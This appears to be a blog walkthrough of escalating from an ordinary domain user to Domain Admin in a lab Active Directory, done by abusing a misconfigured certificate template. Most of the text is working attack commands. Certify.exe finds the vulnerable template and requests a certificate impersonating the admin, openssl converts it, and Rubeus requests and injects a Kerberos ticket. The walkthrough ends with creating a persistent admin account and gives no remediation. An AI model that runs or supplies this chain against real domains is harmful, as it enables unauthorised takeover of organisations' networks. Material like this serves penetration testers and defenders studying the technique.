Privilege Escalation by using Vulnerable Certificate Template
Privilege Escalation by using Vulnerable Certificate Template
Active Directory Certificate Services (AD CS) is one of the server roles provides users with customizable services for creating and managing Public Key Infrastructure (PKI) certificates, which can be used for encrypting and digitally signing electronic documents, emails, messages etc.
Here is the pathway; Any domain user generates a valid certificate for a domain admin user by abuse a misconfiguration on Certificate Services. And then the user request a TGT by using generated certificate. Finally, imports the TGT of domain admin user into machine and pwned !
As always, we have a domain user without any special permission. It is just member of Domain Users
and the user doesn’t access C$ of Domain Controller as expected.
We can enumerate the servers which is installed Certificate Services by using Certify tool like below;
1 | Certify.exe cas |
ACMEDC.ACME.LOCAL
host looks a certificate authority.
Let’s check that It has any vulnerable template;
1 | Certify.exe find /vulnerable |
Perfect ! There is a vulnerable certificate template which name is TEST-WEBSERVER
.
- ENROLLEE_SUPPLIES_SUBJECT means that any user who is allowed to enroll in a certificate with this setting can request a certificate as any user in the network, including a privileged user.
- pkiextendedkeyusage and mspki-certificate-application-policy has Client Authentication
- Enrollment Rights has NT AUTHORITY\Users group. It means any authenticated users can issued a certificate.
We can request a certificate for a Domain Admins user.
First of all, let’s generate the certificate for zeus
.
1 | Certify.exe request /ca:ACMEDC.acme.local\acme-ACMEDC-CA-1 /template:TEST-WEBSERVER /altname:zeus |
1 | [*] cert.pem : |
Save the certificate as cert.pem
and then convert to pfx format by using openssl command.
1 | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export put cert.pfx |
Then encode cert.pfx with base64 for using on Ticket Granting Ticket (TGT) request.
1 | cat cert.pfx | base64 -w 0 |
And final step is request a TGT by using this certificate that encoded with base64 and then import the ticket.
1 | C:\bin\Rubeus.exe asktgt /user:zeus /certificate:MIIMbwIBAzCCDDUGCSqGByPcK/zZw0OjCIln5Fz3 --snip-- +KvcECJ04lN89sU7mAgIIAA== /password:password |
1 | C:\bin\Rubeus.exe ptt /ticket:doIF3jCCBdqgAwIBB --snip-- Y21lLmxvY2Fs |
Ta-da! We have Domain Admin permissions. Let’s access the Domain Controller’s C$ and create a user and add it to the Domain Admins group member.
I AM THE AUTHORITY !
Cheers !
Reference: